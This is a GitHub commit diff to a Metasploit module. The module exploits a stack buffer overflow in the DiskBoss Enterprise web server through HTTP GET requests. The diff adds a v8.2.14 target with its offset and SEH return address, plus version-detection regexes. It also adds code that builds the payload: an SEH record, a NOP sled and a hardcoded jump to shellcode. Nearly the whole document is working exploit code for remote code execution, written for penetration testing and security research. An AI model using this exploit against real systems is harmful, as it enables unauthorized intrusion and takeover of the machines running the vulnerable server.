Skip to content

Commit c791865

Browse files
committed
Update DiskBoss Module (EDB 42395)
Added a new target option for the DiskBoss Server.
1 parent 047aef6 commit c791865

File tree

1 file changed

+33
-10
lines changed

1 file changed

+33
-10
lines changed

modules/exploits/windows/http/diskboss_get_bof.rb

Lines changed: 33 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -14,20 +14,23 @@ def initialize(info = {})
1414
'Name' => 'DiskBoss Enterprise GET Buffer Overflow',
1515
'Description' => %q{
1616
This module exploits a stack-based buffer overflow vulnerability
17-
in the web interface of DiskBoss Enterprise v7.5.12 and v7.4.28,
17+
in the web interface of DiskBoss Enterprise v7.5.12, v7.4.28, and v8.2.14,
1818
caused by improper bounds checking of the request path in HTTP GET
1919
requests sent to the built-in web server. This module has been
2020
tested successfully on Windows XP SP3 and Windows 7 SP1.
2121
},
2222
'License' => MSF_LICENSE,
2323
'Author' =>
2424
[
25-
'vportal', # Vulnerability discovery and PoC
26-
'Gabor Seljan' # Metasploit module
25+
'vportal', # Vulnerability discovery and PoC
26+
'Gabor Seljan', # Metasploit module
27+
'Ahmad Mahfouz', # Vulnerability discovery and PoC
28+
'Jacob Robles' # Metasploit module
2729
],
2830
'References' =>
2931
[
30-
['EDB', '40869']
32+
['EDB', '40869'],
33+
['EDB', '42395']
3134
],
3235
'DefaultOptions' =>
3336
{
@@ -60,6 +63,13 @@ def initialize(info = {})
6063
'Offset' => 2471,
6164
'Ret' => 0x100461da # ADD ESP,0x68 # RETN [libpal.dll]
6265
}
66+
],
67+
[
68+
'DiskBoss Enterprise v8.2.14',
69+
{
70+
'Offset' => 2496,
71+
'Ret' => 0x1002A8CA # SEH : # POP EDI # POP ESI # RET 04 [libpal.dll]
72+
}
6373
]
6474
],
6575
'Privileged' => true,
@@ -74,7 +84,7 @@ def check
7484
)
7585

7686
if res && res.code == 200
77-
if res.body =~ /DiskBoss Enterprise v7\.(4\.28|5\.12)/
87+
if res.body =~ /DiskBoss Enterprise v(7\.4\.28|7\.5\.12|8\.2\.14)/
7888
return Exploit::CheckCode::Vulnerable
7989
elsif res.body =~ /DiskBoss Enterprise/
8090
return Exploit::CheckCode::Detected
@@ -105,6 +115,8 @@ def exploit
105115
mytarget = targets[1]
106116
elsif res.body =~ /DiskBoss Enterprise v7\.5\.12/
107117
mytarget = targets[2]
118+
elsif res.body =~ /DiskBoss Enterprise v8\.2\.14/
119+
mytarget = targets[3]
108120
end
109121
end
110122

@@ -115,11 +127,22 @@ def exploit
115127
print_status("Selected Target: #{mytarget.name}")
116128
end
117129

118-
sploit = make_nops(21)
119-
sploit << payload.encoded
120-
sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
121-
sploit << [mytarget.ret].pack('V')
122-
sploit << rand_text_alpha(2500)
130+
if !(mytarget == targets[3])
131+
sploit = make_nops(21)
132+
sploit << payload.encoded
133+
sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
134+
sploit << [mytarget.ret].pack('V')
135+
sploit << rand_text_alpha(2500)
136+
else
137+
seh = generate_seh_record(mytarget.ret)
138+
sploit = payload.encoded
139+
sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
140+
sploit[sploit.length, seh.length] = seh
141+
sploit << make_nops(10)
142+
sploit << "\xE9\x25\xBF\xFF\xFF" # JMP to ShellCode
143+
sploit << rand_text_alpha(5000 - sploit.length)
144+
145+
end
123146

124147
send_request_cgi(
125148
'method' => 'GET',

0 commit comments

Comments
 (0)